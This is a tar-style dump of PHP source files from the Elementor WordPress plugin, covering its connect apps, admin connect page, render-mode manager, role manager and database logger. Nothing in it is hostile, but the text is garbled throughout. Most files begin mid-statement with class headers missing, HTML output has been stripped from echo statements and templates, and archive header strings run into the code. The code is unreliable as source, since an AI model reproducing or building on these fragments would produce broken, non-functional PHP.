static::OPTION_CONNECT_SITE_KEY, $site_key ); } return $site_key; } protected function redirect_to_remote_authorize_url() { switch ( $this->auth_mode ) { case 'cli': $this->get_app_token_from_cli_token( Utils::get_super_global_value( $_REQUEST, 'token' ) ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. return; default: wp_redirect( $this->get_remote_authorize_url() ); //phpcs:ignore WordPress.Security.SafeRedirect.wp_redirect_wp_redirect -- Safe redirect is used here. die; } } protected function get_auth_redirect_uri() { $redirect_uri = $this->get_admin_url( 'get_token' ); switch ( $this->auth_mode ) { case 'popup': $redirect_uri = add_query_arg( [ 'mode' => 'popup', 'callback_id' => esc_attr( Utils::get_super_global_value( $_REQUEST, 'callback_id' ) ), //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. ], $redirect_uri ); break; } return $redirect_uri; } protected function print_notices( $notices ) { switch ( $this->auth_mode ) { case 'cli': foreach ( $notices as $notice ) { printf( '[%s] %s', wp_kses_post( $notice['type'] ), wp_kses_post( $notice['content'] ) ); } break; default: /** * @var Admin_Notices $admin_notices */ $admin_notices = Plugin::$instance->admin->get_component( 'admin-notices' ); foreach ( $notices as $notice ) { $options = [ 'description' => wp_kses_post( wpautop( $notice['content'] ) ), 'type' => $notice['type'], 'icon' => false, ]; $admin_notices->print_admin_notice( $options ); } } } protected function get_app_info() { return []; } protected function print_app_info() { $app_info = $this->get_app_info(); foreach ( $app_info as $key => $item ) { if ( $item['value'] ) { $status = 'Exist'; $color = 'green'; } else { $status = 'Empty'; $color = 'red'; } // PHPCS - the values of $item['label'], $color, $status are plain strings. printf( '%s: %s
', $item['label'], $color, $status ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } private function get_generated_urls( $endpoint ) { $base_urls = $this->get_api_url(); if ( ! is_array( $base_urls ) ) { $base_urls = [ $base_urls ]; } return array_map( function ( $base_url ) use ( $endpoint ) { return trailingslashit( $base_url ) . $endpoint; }, $base_urls ); } private function init_auth_mode() { $is_rest = defined( 'REST_REQUEST' ) && REST_REQUEST; $is_ajax = wp_doing_ajax(); if ( $is_rest || $is_ajax ) { // Set default to 'xhr' if rest or ajax request. $this->set_auth_mode( 'xhr' ); } $mode = Utils::get_super_global_value( $_REQUEST, 'mode' ); //phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verification is not required here. if ( $mode ) { $allowed_auth_modes = [ 'popup', ]; if ( defined( 'WP_CLI' ) && WP_CLI ) { $allowed_auth_modes[] = 'cli'; } if ( in_array( $mode, $allowed_auth_modes, true ) ) { $this->set_auth_mode( $mode ); } } } public function set_auth_mode( $mode ) { $this->auth_mode = $mode; } /** * @since 2.3.0 * @access public */ public function __construct() { add_action( 'admin_notices', [ $this, 'admin_notice' ] ); $this->init_auth_mode(); $this->http = new Http(); /** * Allow extended apps to customize the __construct without call parent::__construct. */ $this->init(); } } core/common/modules/connect/apps/common-app.php000064400000001614147206604650015623 0ustar00data = & self::$common_data; } public function action_reset() { delete_user_option( get_current_user_id(), static::OPTION_CONNECT_COMMON_DATA_KEY ); parent::action_reset(); } } core/common/modules/connect/apps/library.php000064400000007342147206604650015225 0ustar00is_connected() ) { return new \WP_Error( '401', esc_html__( 'Connecting to the Library failed. Please try reloading the page and try again', 'elementor' ) ); } $body_args = [ 'id' => $id, // Which API version is used. 'api_version' => ELEMENTOR_VERSION, // Which language to return. 'site_lang' => get_bloginfo( 'language' ), ]; /** * API: Template body args. * * Filters the body arguments send with the GET request when fetching the content. * * @since 1.0.0 * * @param array $body_args Body arguments. */ $body_args = apply_filters( 'elementor/api/get_templates/body_args', $body_args ); $template_content = $this->request( 'get_template_content', $body_args, true ); if ( is_wp_error( $template_content ) && 401 === $template_content->get_error_code() ) { // Normalize 401 message return new \WP_Error( 401, esc_html__( 'Connecting to the Library failed. Please try reloading the page and try again', 'elementor' ) ); } return $template_content; } public function localize_settings( $settings ) { $is_connected = $this->is_connected(); /** @var ConnectModule $connect */ $connect = Plugin::$instance->common->get_component( 'connect' ); return array_replace_recursive( $settings, [ 'library_connect' => [ 'is_connected' => $is_connected, 'subscription_plans' => $connect->get_subscription_plans( 'template-library' ), // TODO: Remove `base_access_level`. 'base_access_level' => ConnectModule::ACCESS_LEVEL_CORE, 'base_access_tier' => ConnectModule::ACCESS_TIER_FREE, 'current_access_level' => ConnectModule::ACCESS_LEVEL_CORE, 'current_access_tier' => ConnectModule::ACCESS_TIER_FREE, ], ] ); } public function library_connect_popup_seen() { User::set_introduction_viewed( [ 'introductionKey' => 'library_connect', ] ); } /** * @param \Elementor\Core\Common\Modules\Ajax\Module $ajax_manager */ public function register_ajax_actions( $ajax_manager ) { $ajax_manager->register_ajax_action( 'library_connect_popup_seen', [ $this, 'library_connect_popup_seen' ] ); } /** * After Connect * * After Connecting to the library, re-fetch the library data to get it up to date. * * @since 3.7.0 */ protected function after_connect() { Api::get_library_data( true ); } protected function get_app_info() { return [ 'user_common_data' => [ 'label' => 'User Common Data', 'value' => get_user_option( $this->get_option_name(), get_current_user_id() ), ], 'connect_site_key' => [ 'label' => 'Site Key', 'value' => get_option( self::OPTION_CONNECT_SITE_KEY ), ], 'remote_info_library' => [ 'label' => 'Remote Library Info', 'value' => get_option( 'elementor_remote_info_library' ), ], ]; } protected function get_popup_success_event_data() { return [ 'access_level' => ConnectModule::ACCESS_LEVEL_CORE, 'access_tier' => ConnectModule::ACCESS_TIER_FREE, ]; } protected function init() { add_filter( 'elementor/editor/localize_settings', [ $this, 'localize_settings' ] ); add_filter( 'elementor/common/localize_settings', [ $this, 'localize_settings' ] ); add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); } } core/common/modules/connect/apps/connect.php000064400000000673147206604650015212 0ustar00get_option_name(), $this->data ); } /** * @since 2.3.0 * @access protected */ protected function init_data() { $this->data = get_user_option( $this->get_option_name() ); if ( ! $this->data ) { $this->data = []; } } } core/common/modules/connect/admin.php000064400000003645147206604650013710 0ustar00register( static::PAGE_ID, new Connect_Menu_Item() ); } /** * @since 2.3.0 * @access public */ public function on_load_page() { if ( isset( $_GET['action'], $_GET['app'] ) ) { $manager = Plugin::$instance->common->get_component( 'connect' ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $app_slug = Utils::get_super_global_value( $_GET, 'app' ); $app = $manager->get_app( $app_slug ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended $action = Utils::get_super_global_value( $_GET, 'action' ); $nonce_action = $app_slug . $action; if ( ! $app ) { wp_die( 'Unknown app: ' . esc_attr( $app_slug ) ); } if ( ! wp_verify_nonce( Utils::get_super_global_value( $_GET, 'nonce' ), $nonce_action ) ) { wp_die( 'Invalid Nonce', 'Invalid Nonce', [ 'back_link' => true, ] ); } $method = 'action_' . $action; if ( method_exists( $app, $method ) ) { call_user_func( [ $app, $method ] ); } } } /** * @since 2.3.0 * @access public */ public function __construct() { self::$url = admin_url( 'admin.php?page=' . self::PAGE_ID ); add_action( 'elementor/admin/menu/register', [ $this, 'register_admin_menu' ] ); add_action( 'elementor/admin/menu/after_register', function ( Admin_Menu_Manager $admin_menu, array $hooks ) { if ( ! empty( $hooks[ static::PAGE_ID ] ) ) { add_action( 'load-' . $hooks[ static::PAGE_ID ], [ $this, 'on_load_page' ] ); } }, 10, 2 ); } } core/common/modules/connect/connect-menu-item.php000064400000002236147206604650016142 0ustar00common->get_component( 'connect' )->get_apps(); ?>
'; $app->render_admin_widget(); echo '
'; } ?> add_default_templates(); add_action( 'elementor/editor/before_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'wp_enqueue_scripts', [ $this, 'register_scripts' ] ); add_action( 'elementor/editor/before_enqueue_styles', [ $this, 'register_styles' ] ); add_action( 'admin_enqueue_scripts', [ $this, 'register_styles' ] ); add_action( 'wp_enqueue_scripts', [ $this, 'register_styles' ], 9 ); add_action( 'elementor/editor/footer', [ $this, 'print_templates' ] ); add_action( 'admin_footer', [ $this, 'print_templates' ] ); add_action( 'wp_footer', [ $this, 'print_templates' ] ); } /** * Init components * * Initializing common components. * * @since 2.3.0 * @access public */ public function init_components() { $this->add_component( 'ajax', new Ajax() ); if ( current_user_can( 'manage_options' ) ) { if ( ! is_customize_preview() ) { $this->add_component( 'finder', new Finder() ); } } $this->add_component( 'connect', new Connect() ); $this->add_component( 'event-tracker', new Event_Tracker() ); } /** * Get name. * * Retrieve the app name. * * @since 2.3.0 * @access public * * @return string Common app name. */ public function get_name() { return 'common'; } /** * Register scripts. * * Register common scripts. * * @since 2.3.0 * @access public */ public function register_scripts() { wp_register_script( 'elementor-common-modules', $this->get_js_assets_url( 'common-modules' ), [], ELEMENTOR_VERSION, true ); wp_register_script( 'backbone-marionette', $this->get_js_assets_url( 'backbone.marionette', 'assets/lib/backbone/' ), [ 'backbone', ], '2.4.5.e1', true ); wp_register_script( 'backbone-radio', $this->get_js_assets_url( 'backbone.radio', 'assets/lib/backbone/' ), [ 'backbone', ], '1.0.4', true ); wp_register_script( 'elementor-dialog', $this->get_js_assets_url( 'dialog', 'assets/lib/dialog/' ), [ 'jquery-ui-position', ], '4.9.0', true ); wp_enqueue_script( 'elementor-common', $this->get_js_assets_url( 'common' ), [ 'jquery', 'jquery-ui-draggable', 'backbone-marionette', 'backbone-radio', 'elementor-common-modules', 'elementor-web-cli', 'elementor-dialog', 'wp-api-request', 'elementor-dev-tools', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-common', 'elementor' ); $this->print_config(); // Used for external plugins. do_action( 'elementor/common/after_register_scripts', $this ); } /** * Register styles. * * Register common styles. * * @since 2.3.0 * @access public */ public function register_styles() { wp_register_style( 'elementor-icons', $this->get_css_assets_url( 'elementor-icons', 'assets/lib/eicons/css/' ), [], Icons_Manager::ELEMENTOR_ICONS_VERSION ); wp_enqueue_style( 'elementor-common', $this->get_css_assets_url( 'common', null, 'default', true ), [ 'elementor-icons', ], ELEMENTOR_VERSION ); wp_enqueue_style( 'e-theme-ui-light', $this->get_css_assets_url( 'theme-light' ), [], ELEMENTOR_VERSION ); } /** * Add template. * * @since 2.3.0 * @access public * * @param string $template Can be either a link to template file or template * HTML content. * @param string $type Optional. Whether to handle the template as path * or text. Default is `path`. */ public function add_template( $template, $type = 'path' ) { if ( 'path' === $type ) { ob_start(); include $template; $template = ob_get_clean(); } $this->templates[] = $template; } /** * Print Templates * * Prints all registered templates. * * @since 2.3.0 * @access public */ public function print_templates() { foreach ( $this->templates as $template ) { echo $template; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } } /** * Get init settings. * * Define the default/initial settings of the common app. * * @since 2.3.0 * @access protected * * @return array */ protected function get_init_settings() { $active_experimental_features = Plugin::$instance->experiments->get_active_features(); $active_experimental_features = array_fill_keys( array_keys( $active_experimental_features ), true ); $config = [ 'version' => ELEMENTOR_VERSION, 'isRTL' => is_rtl(), 'isDebug' => ( defined( 'WP_DEBUG' ) && WP_DEBUG ), 'isElementorDebug' => ( defined( 'ELEMENTOR_DEBUG' ) && ELEMENTOR_DEBUG ), 'activeModules' => array_keys( $this->get_components() ), 'experimentalFeatures' => $active_experimental_features, 'urls' => [ 'assets' => ELEMENTOR_ASSETS_URL, 'rest' => get_rest_url(), ], 'filesUpload' => [ 'unfilteredFiles' => Uploads_Manager::are_unfiltered_uploads_enabled(), ], ]; /** * Localize common settings. * * Filters the editor localized settings. * * @since 1.0.0 * * @param array $config Common configuration. */ return apply_filters( 'elementor/common/localize_settings', $config ); } /** * Add default templates. * * Register common app default templates. * @since 2.3.0 * @access private */ private function add_default_templates() { $default_templates = [ 'includes/editor-templates/library-layout.php', ]; foreach ( $default_templates as $template ) { $this->add_template( ELEMENTOR_PATH . $template ); } } } core/frontend/render-modes/render-mode-base.php000064400000004147147206604650015541 0ustar00post_id = intval( $post_id ); } /** * Returns the key name of the class. * * @return string * @throws \Exception */ public static function get_name() { throw new \Exception( 'You must implements `get_name` static method in ' . static::class ); } /** * @param $post_id * * @return string * @throws \Exception */ public static function get_url( $post_id ) { return Render_Mode_Manager::get_base_url( $post_id, static::get_name() ); } /** * Runs before the render, by default load scripts and styles. */ public function prepare_render() { add_action( 'wp_enqueue_scripts', function () { $this->enqueue_scripts(); }, static::ENQUEUE_SCRIPTS_PRIORITY ); add_action( 'wp_enqueue_scripts', function () { $this->enqueue_styles(); }, static::ENQUEUE_STYLES_PRIORITY ); } /** * By default do not do anything. */ protected function enqueue_scripts() { // } /** * By default do not do anything. */ protected function enqueue_styles() { // } /** * Check if the current user has permissions for the current render mode. * * @return bool */ public function get_permissions_callback() { return $this->get_document()->is_editable_by_current_user(); } /** * Checks if the current render mode is static render, By default returns false. * * @return bool */ public function is_static() { return false; } /** * @return Document */ public function get_document() { if ( ! $this->document ) { $this->document = Plugin::$instance->documents->get( $this->post_id ); } return $this->document; } } core/frontend/render-modes/render-mode-normal.php000064400000000632147206604650016112 0ustar00 $post_id, self::QUERY_STRING_PARAM_NAME => $render_mode_name, self::QUERY_STRING_NONCE_PARAM_NAME => wp_create_nonce( self::get_nonce_action( $post_id ) ), 'ver' => time(), ], get_permalink( $post_id ) ); } /** * @param $post_id * * @return string */ public static function get_nonce_action( $post_id ) { return str_replace( '{post_id}', $post_id, self::NONCE_ACTION_PATTERN ); } /** * Register a new render mode into the render mode manager. * * @param $class_name * * @return $this * @throws \Exception */ public function register_render_mode( $class_name ) { if ( ! is_subclass_of( $class_name, Render_Mode_Base::class ) ) { throw new \Exception( "'{$class_name}' must extend 'Render_Mode_Base'." ); } $this->render_modes[ $class_name::get_name() ] = $class_name; return $this; } /** * Get the current render mode. * * @return Render_Mode_Base */ public function get_current() { return $this->current; } /** * @param Render_Mode_Base $render_mode * * @return $this */ private function set_current( Render_Mode_Base $render_mode ) { $this->current = $render_mode; return $this; } /** * Set render mode. * * @return $this */ private function choose_render_mode() { $post_id = null; $key = null; $nonce = null; if ( isset( $_GET[ self::QUERY_STRING_POST_ID ] ) ) { $post_id = $_GET[ self::QUERY_STRING_POST_ID ]; // phpcs:ignore -- Nonce will be checked next line. } if ( isset( $_GET[ self::QUERY_STRING_NONCE_PARAM_NAME ] ) ) { $nonce = $_GET[ self::QUERY_STRING_NONCE_PARAM_NAME ]; // phpcs:ignore -- Nonce will be checked next line. } if ( isset( $_GET[ self::QUERY_STRING_PARAM_NAME ] ) ) { $key = $_GET[ self::QUERY_STRING_PARAM_NAME ]; // phpcs:ignore -- Nonce will be checked next line. } if ( $post_id && $nonce && wp_verify_nonce( $nonce, self::get_nonce_action( $post_id ) ) && $key && array_key_exists( $key, $this->render_modes ) ) { $this->set_current( new $this->render_modes[ $key ]( $post_id ) ); } else { $this->set_current( new Render_Mode_Normal( $post_id ) ); } return $this; } /** * Add actions base on the current render. * * @throws \Requests_Exception_HTTP_403 * @throws Status403 */ private function add_current_actions() { if ( ! $this->current->get_permissions_callback() ) { // WP >= 6.2-alpha if ( class_exists( '\WpOrg\Requests\Exception\Http\Status403' ) ) { throw new \WpOrg\Requests\Exception\Http\Status403(); } else { throw new \Requests_Exception_HTTP_403(); } } // Run when 'template-redirect' actually because the the class is instantiate when 'template-redirect' run. $this->current->prepare_render(); } /** * Render_Mode_Manager constructor. * * @throws \Exception */ public function __construct() { $this->register_render_mode( Render_Mode_Normal::class ); do_action( 'elementor/frontend/render_mode/register', $this ); $this->choose_render_mode(); $this->add_current_actions(); } } core/frontend/performance.php000064400000001435147206604650012342 0ustar00preview->is_preview_mode() ); } return static::$is_frontend; } public static function is_optimized_control_loading_feature_enabled(): bool { return Plugin::$instance->experiments->is_feature_active( 'e_optimized_control_loading' ); } } core/isolation/wordpress-adapter.php000064400000002271147206604650013670 0ustar00wordpress_adapter = $wordpress_adapter; } public function is_plugin_installed( $plugin_path ): bool { $installed_plugins = $this->wordpress_adapter->get_plugins(); return isset( $installed_plugins[ $plugin_path ] ); } public function get_install_plugin_url( $plugin_path ): string { $slug = dirname( $plugin_path ); $admin_base_url = $this->wordpress_adapter->self_admin_url( 'update.php' ); $admin_url = add_query_arg( [ 'action' => 'install-plugin', 'plugin' => $slug, ], $admin_base_url ); return $this->wordpress_adapter->wp_nonce_url( $admin_url, 'install-plugin_' . $slug ); } public function get_activate_plugin_url( $plugin_path ): string { $admin_base_url = $this->wordpress_adapter->self_admin_url( 'plugins.php' ); $admin_url = add_query_arg( [ 'action' => 'activate', 'plugin' => $plugin_path, 'plugin_status' => 'all', 'paged' => 1, 's' => '', ], $admin_base_url ); return $this->wordpress_adapter->wp_nonce_url( $admin_url, 'activate-plugin_' . $plugin_path ); } } core/isolation/plugin-status-adapter-interface.php000064400000000433147206604650016413 0ustar00get_role_manager_advanced_options(); return static::$advanced_options; } /** * @since 2.0.0 * @access protected */ protected function get_page_title() { return esc_html__( 'Role Manager', 'elementor' ); } /** * @since 2.0.0 * @access public */ public function register_admin_menu( Admin_Menu_Manager $admin_menu ) { $admin_menu->register( static::PAGE_ID, new Role_Manager_Menu_Item( $this ) ); } /** * @since 2.0.0 * @access protected */ protected function create_tabs() { $validation_class = 'Elementor\Settings_Validations'; return [ 'general' => [ 'label' => esc_html__( 'General', 'elementor' ), 'sections' => [ 'tools' => [ 'fields' => [ 'exclude_user_roles' => [ 'label' => esc_html__( 'Exclude Roles', 'elementor' ), 'field_args' => [ 'type' => 'checkbox_list_roles', 'exclude' => [ 'super_admin', 'administrator' ], ], 'setting_args' => [ 'sanitize_callback' => [ $validation_class, 'checkbox_list' ], ], ], self::ROLE_MANAGER_ADVANCED => [ 'field_args' => [ 'type' => 'raw_html', 'html' => '', ], 'setting_args' => [ 'sanitize_callback' => [ $this, 'save_advanced_options' ], ], ], ], ], ], ], ]; } public function save_advanced_options( $input ) { return $input; } /** * @since 2.0.0 * @access public */ public function display_settings_page() { $this->get_tabs(); ?>

get_page_title() ); ?>

'; foreach ( get_editable_roles() as $role_slug => $role_data ) { if ( 'administrator' === $role_slug ) { continue; } $this->display_role_controls( $role_slug, $role_data ); } submit_button(); ?>
get_role_manager_options(); } ?>
get_user_advanced_options(); $checked = isset( $advanced_options[ $role_slug ] ) ? $advanced_options[ $role_slug ] : []; ?>

:

get_user_advanced_options(); $checked = isset( $advanced_options[ $role_slug ] ) ? $advanced_options[ $role_slug ] : []; ?>

:

get_go_pro_link_content(); ?>
esc_html__( 'Want to give access only to content?', 'elementor' ), 'upgrade_url' => esc_url( $upgrade_url ), 'upgrade_text' => esc_html__( 'Upgrade', 'elementor' ), ]; return Filtered_Promotions_Manager::get_filtered_promotion_data( $promotion, 'elementor/role/custom_promotion', 'upgrade_url' ); } /** * @since 2.0.0 * @access public */ public function get_user_restrictions_array() { $user = wp_get_current_user(); $user_roles = $user->roles; $options = $this->get_user_restrictions(); $restrictions = []; if ( empty( $options ) ) { return $restrictions; } foreach ( $user_roles as $role ) { if ( ! isset( $options[ $role ] ) ) { continue; } $restrictions = array_merge( $restrictions, $options[ $role ] ); } return array_unique( $restrictions ); } /** * @since 2.0.0 * @access private */ private function get_user_restrictions() { static $restrictions = false; if ( ! $restrictions ) { $restrictions = []; /** * Editor user restrictions. * * Filters the user restrictions in the editor. * * @since 2.0.0 * * @param array $restrictions User restrictions. */ $restrictions = apply_filters( 'elementor/editor/user/restrictions', $restrictions ); } return $restrictions; } /** * @since 2.0.0 * @access public * * @param $capability * * @return bool */ public function user_can( $capability ) { $options = $this->get_user_restrictions_array(); if ( in_array( $capability, $options, true ) ) { return false; } return true; } /** * @since 2.0.0 * @access public */ public function __construct() { parent::__construct(); add_action( 'elementor/admin/menu/register', function ( Admin_Menu_Manager $admin_menu ) { $this->register_admin_menu( $admin_menu ); }, Settings::ADMIN_MENU_PRIORITY + 10 ); add_action( 'elementor/role/restrictions/controls', [ $this, 'add_json_enable_control' ] ); add_action( 'elementor/role/restrictions/controls', [ $this, 'add_custom_html_enable_control' ] ); add_action( 'elementor/role/restrictions/controls', [ $this, 'get_go_pro_link_html' ] ); add_filter( 'elementor/editor/user/restrictions', [ $this, 'get_role_manager_advanced_options' ] ); } } core/role-manager/role-manager-menu-item.php000064400000001527147206604650015044 0ustar00role_manager = $role_manager; } public function is_visible() { return true; } public function get_parent_slug() { return Settings::PAGE_ID; } public function get_label() { return esc_html__( 'Role Manager', 'elementor' ); } public function get_page_title() { return esc_html__( 'Role Manager', 'elementor' ); } public function get_capability() { return 'manage_options'; } public function render() { $this->role_manager->display_settings_page(); } } core/logger/loggers/base.php000064400000004520147206604650012053 0ustar00create_item( $item, $type, $args ); } $this->save_log( $item ); } public function info( $message, $args = [] ) { $this->log( $message, self::LEVEL_INFO, $args ); } public function notice( $message, $args = [] ) { $this->log( $message, self::LEVEL_NOTICE, $args ); } public function warning( $message, $args = [] ) { $this->log( $message, self::LEVEL_WARNING, $args ); } public function error( $message, $args = [] ) { $this->log( $message, self::LEVEL_ERROR, $args ); } /** * @param string $message * @param string $type * @param array $args * * @return Log_Item_Interface */ private function create_item( $message, $type, $args = [] ) { $args['message'] = $message; $args['type'] = $type; $item = new Log_Item( $args ); return $item; } public function get_formatted_log_entries( $max_entries, $table = true ) { $entries = $this->get_log(); if ( empty( $entries ) ) { return [ 'All' => [ 'total_count' => 0, 'count' => 0, 'entries' => '', ], ]; } $sorted_entries = []; $open_tag = $table ? '' : ''; $close_tab = $table ? '' : PHP_EOL; $format = $table ? 'html' : 'raw'; foreach ( $entries as $entry ) { /** @var Log_Item $entry */ $sorted_entries[ $entry->get_name() ][] = $open_tag . $entry->format( $format ) . $close_tab; } $formatted_entries = []; foreach ( $sorted_entries as $key => $sorted_entry ) { $formatted_entries[ $key ]['total_count'] = count( $sorted_entry ); $formatted_entries[ $key ]['count'] = count( $sorted_entry ); $sorted_entry = array_slice( $sorted_entry, -$max_entries ); $formatted_entries[ $key ]['count'] = count( $sorted_entry ); $formatted_entries[ $key ]['entries'] = implode( $sorted_entry ); } return $formatted_entries; } } core/logger/loggers/db.php000064400000002006147206604650011523 0ustar00maybe_truncate_log(); $id = $item->get_fingerprint(); if ( empty( $log[ $id ] ) ) { $log[ $id ] = $item; } $log[ $id ]->increase_times( $item ); update_option( self::LOG_NAME, $log, 'no' ); } public function clear() { delete_option( self::LOG_NAME ); } private function maybe_truncate_log() { /** @var Log_Item[] $log */ $log = $this->get_log(); if ( Log_Item::MAX_LOG_ENTRIES < count( $log ) ) { $log = array_slice( $log, -Log_Item::MAX_LOG_ENTRIES ); } return $log; } public function get_log() { // Clear cache. wp_cache_delete( self::LOG_NAME, 'options' ); $log = get_option( self::LOG_NAME, [] ); // In case the DB log is corrupted. if ( ! is_array( $log ) ) { $log = []; } return $log; } } core/logger/loggers/logger-interface.php000064400000002364147206604650014362 0ustar00 in format * * @return array [ 'key' => [ 'total_count' => int, 'count' => int, 'entries' => Log_Item[] ] ] */ public function get_formatted_log_entries( $max_entries, $table = true ); } core/logger/log-reporter.php000064400000006005147206604650012120 0ustar00 '', ]; } public function print_html_label( $log_label ) { $title = $this->get_title(); if ( empty( $_GET[ self::CLEAR_LOG_ACTION ] ) ) { // phpcs:ignore -- nonce validation is not require here. $nonce = wp_create_nonce( self::CLEAR_LOG_ACTION ); $url = add_query_arg( [ self::CLEAR_LOG_ACTION => 1, '_wpnonce' => $nonce, ] ); $title .= '' . esc_html__( 'Clear Log', 'elementor' ) . ''; $title .= ''; } parent::print_html_label( $title ); } public function get_log_entries() { /** @var \Elementor\Core\Logger\Manager $manager */ $manager = Manager::instance(); /** @var \Elementor\Core\Logger\Loggers\Db $logger */ $logger = $manager->get_logger( 'db' ); if ( ! empty( $_GET[ self::CLEAR_LOG_ACTION ] ) ) { $nonce = Utils::get_super_global_value( $_GET, '_wpnonce' ); if ( ! wp_verify_nonce( $nonce, self::CLEAR_LOG_ACTION ) ) { wp_die( 'Invalid Nonce', 'Invalid Nonce', [ 'back_link' => true, ] ); } $logger->clear(); } $log_string = 'No entries to display'; $log_entries = $logger->get_formatted_log_entries( self::MAX_ENTRIES, false ); if ( ! empty( $log_entries ) ) { $entries_string = ''; foreach ( $log_entries as $key => $log_entry ) { if ( $log_entry['count'] ) { $entries_string .= '

' . sprintf( '%s: showing %s of %s', $key, $log_entry['count'], $log_entry['total_count'] ) . '

'; $entries_string .= '
' . $log_entry['entries'] . '
'; } } if ( ! empty( $entries_string ) ) { $log_string = $entries_string; } } return [ 'value' => $log_string, ]; } public function get_raw_log_entries() { $log_string = 'No entries to display'; /** @var \Elementor\Core\Logger\Manager $manager */ $manager = Manager::instance(); $logger = $manager->get_logger(); $log_entries = $logger->get_formatted_log_entries( self::MAX_ENTRIES, false ); if ( ! empty( $log_entries ) ) { $entries_string = PHP_EOL; foreach ( $log_entries as $key => $log_entry ) { if ( $log_entry['count'] ) { $entries_string .= sprintf( '%s: showing %s of %s', $key, $log_entry['count'], $log_entry['total_count'] ) . $log_entry['entries'] . PHP_EOL; } } if ( ! empty( $entries_string ) ) { $log_string = $entries_string; } } return [ 'value' => $log_string, ]; } } core/logger/manager.php000064400000015661147206604650011121 0ustar00get_log_type_from_php_error( $last_error['type'] ); $last_error['trace'] = true; $item = new PHP( $last_error ); $this->get_logger()->log( $item ); if ( $should_exit ) { exit; } } public function rest_error_handler( $error_number, $error_message, $error_file, $error_line ) { // Temporary solution until all PHP notices will be fixed in the core and pro. if ( Utils::is_wp_cli() ) { return null; } $error = new \WP_Error( $error_number, $error_message, [ 'type' => $error_number, 'message' => $error_message, 'file' => $error_file, 'line' => $error_line, ] ); if ( ! Utils::is_elementor_path( $error_file ) ) { // Do execute PHP internal error handler. return false; } $is_an_error = in_array( // It can be notice or warning $error_number, [ E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR ], true ); $error_data = $error->get_error_data(); // TODO: This part should be modular, temporary hard-coded. // Notify $e.data. if ( $is_an_error && ! headers_sent() ) { header( 'Content-Type: application/json; charset=UTF-8' ); http_response_code( 500 ); if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { echo wp_json_encode( $error_data ); } else { echo wp_json_encode( [ 'message' => 'Server error, see Elementor => System Info', ] ); } } $this->shutdown( $error_data, $is_an_error ); } public function register_error_handler() { set_error_handler( [ $this, 'rest_error_handler' ], E_ALL ); } public function add_system_info_report() { System_Info::add_report( 'log', [ 'file_name' => __DIR__ . '/log-reporter.php', 'class_name' => __NAMESPACE__ . '\Log_Reporter', ] ); } /** * Javascript log. * * Log Elementor errors and save them in the database. * * Fired by `wp_ajax_elementor_js_log` action. * */ public function js_log() { /** @var Module $ajax */ $ajax = Plugin::$instance->common->get_component( 'ajax' ); // PHPCS ignore is added throughout this method because nonce verification happens in the $ajax->verify_request_nonce() method. if ( ! $ajax->verify_request_nonce() || empty( $_POST['data'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing wp_send_json_error(); } if ( ! current_user_can( Editor::EDITING_CAPABILITY ) ) { wp_send_json_error( 'Permission denied' ); } // PHPCS - See comment above. $data = Utils::get_super_global_value( $_POST, 'data' ) ?? []; // phpcs:ignore WordPress.Security.NonceVerification.Missing array_walk_recursive( $data, function( &$value ) { $value = sanitize_text_field( $value ); } ); // PHPCS - See comment above. foreach ( $data as $error ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing $error['type'] = Logger_Interface::LEVEL_ERROR; if ( ! empty( $error['customFields'] ) ) { $error['meta'] = $error['customFields']; } $item = new JS( $error ); $this->get_logger()->log( $item ); } wp_send_json_success(); } public function register_logger( $name, $class ) { $this->loggers[ $name ] = $class; } public function set_default_logger( $name ) { if ( ! empty( $this->loggers[ $name ] ) ) { $this->default_logger = $name; } } public function register_default_loggers() { $this->register_logger( 'db', 'Elementor\Core\Logger\Loggers\Db' ); $this->set_default_logger( 'db' ); } /** * @param string $name * * @return Logger_Interface */ public function get_logger( $name = '' ) { $this->register_loggers(); if ( empty( $name ) || ! isset( $this->loggers[ $name ] ) ) { $name = $this->default_logger; } if ( ! $this->get_component( $name ) ) { $this->add_component( $name, new $this->loggers[ $name ]() ); } return $this->get_component( $name ); } /** * @param string $message * @param array $args * * @return void */ public function log( $message, $args = [] ) { $this->get_logger()->log( $message, $args ); } /** * @param string $message * @param array $args * * @return void */ public function info( $message, $args = [] ) { $this->get_logger()->info( $message, $args ); } /** * @param string $message * @param array $args * * @return void */ public function notice( $message, $args = [] ) { $this->get_logger()->notice( $message, $args ); } /** * @param string $message * @param array $args * * @return void */ public function warning( $message, $args = [] ) { $this->get_logger()->warning( $message, $args ); } /** * @param string $message * @param array $args * * @return void */ public function error( $message, $args = [] ) { $this->get_logger()->error( $message, $args ); } private function get_log_type_from_php_error( $type ) { $error_map = [ E_CORE_ERROR => Logger_Interface::LEVEL_ERROR, E_ERROR => Logger_Interface::LEVEL_ERROR, E_USER_ERROR => Logger_Interface::LEVEL_ERROR, E_COMPILE_ERROR => Logger_Interface::LEVEL_ERROR, E_RECOVERABLE_ERROR => Logger_Interface::LEVEL_ERROR, E_PARSE => Logger_Interface::LEVEL_ERROR, E_STRICT => Logger_Interface::LEVEL_ERROR, E_WARNING => Logger_Interface::LEVEL_WARNING, E_USER_WARNING => Logger_Interface::LEVEL_WARNING, E_CORE_WARNING => Logger_Interface::LEVEL_WARNING, E_COMPILE_WARNING => Logger_Interface::LEVEL_WARNING, E_NOTICE => Logger_Interface::LEVEL_NOTICE, E_USER_NOTICE => Logger_Interface::LEVEL_NOTICE, E_DEPRECATED => Logger_Interface::LEVEL_NOTICE, E_USER_DEPRECATED => Logger_Interface::LEVEL_NOTICE, ]; return isset( $error_map[ $type ] ) ? $error_map[ $type ] : Logger_Interface::LEVEL_ERROR; } private function register_loggers() { if ( ! did_action( 'elementor/loggers/register' ) ) { 